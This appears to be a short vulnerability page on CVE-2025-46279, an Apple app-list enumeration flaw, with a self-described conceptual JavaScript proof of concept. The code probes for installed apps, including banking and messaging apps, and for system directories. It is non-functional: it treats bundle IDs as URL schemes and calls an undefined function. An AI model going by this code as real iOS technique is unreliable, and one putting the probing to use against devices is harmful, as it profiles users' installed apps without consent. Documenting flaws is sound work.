CVE-2025-46279 Apple多系统应用列表识别权限漏洞

// CVE-2025-46279 PoC - App List Enumeration via URL Schemes // Note: This is a conceptual PoC for educational purposes // Method 1: Check URL Schemes to detect installed apps function checkInstalledApps() { const targetApps = [ 'com.apple.mobilesafari', 'com.apple.Maps', 'com.apple.AppStore', 'com.apple.Music', 'com.apple.Passbook', 'com.chase.sig', 'com.google.Gmail', 'com.whatsapp.WhatsApp' ]; const installedApps = []; for (const appScheme of targetApps) { // Try to open URL scheme - if succeeds, app may be installed const testUrl = appScheme + '://'; // In vulnerable versions, this check could reveal app presence // Without proper restrictions, the app can enumerate installed apps try { // iOS-specific implementation would go here // This demonstrates the enumeration capability if (canOpenURL(testUrl)) { installedApps.push(appScheme); } } catch (error) { console.log('URL scheme check failed'); } } return installedApps; } // Method 2: System directory enumeration (if accessible) function enumerateSystemApps() { const appDirectories = [ '/Applications', '/private/var/mobile/Applications', '/System/Library/CoreServices/SpringBoard.app' ]; // In vulnerable versions, app sandboxing may not prevent this access // Attackers could read directory listings to identify apps return 'Directory enumeration attempted'; } // This PoC demonstrates the vulnerability concept // Fixed versions add proper sandboxing restrictions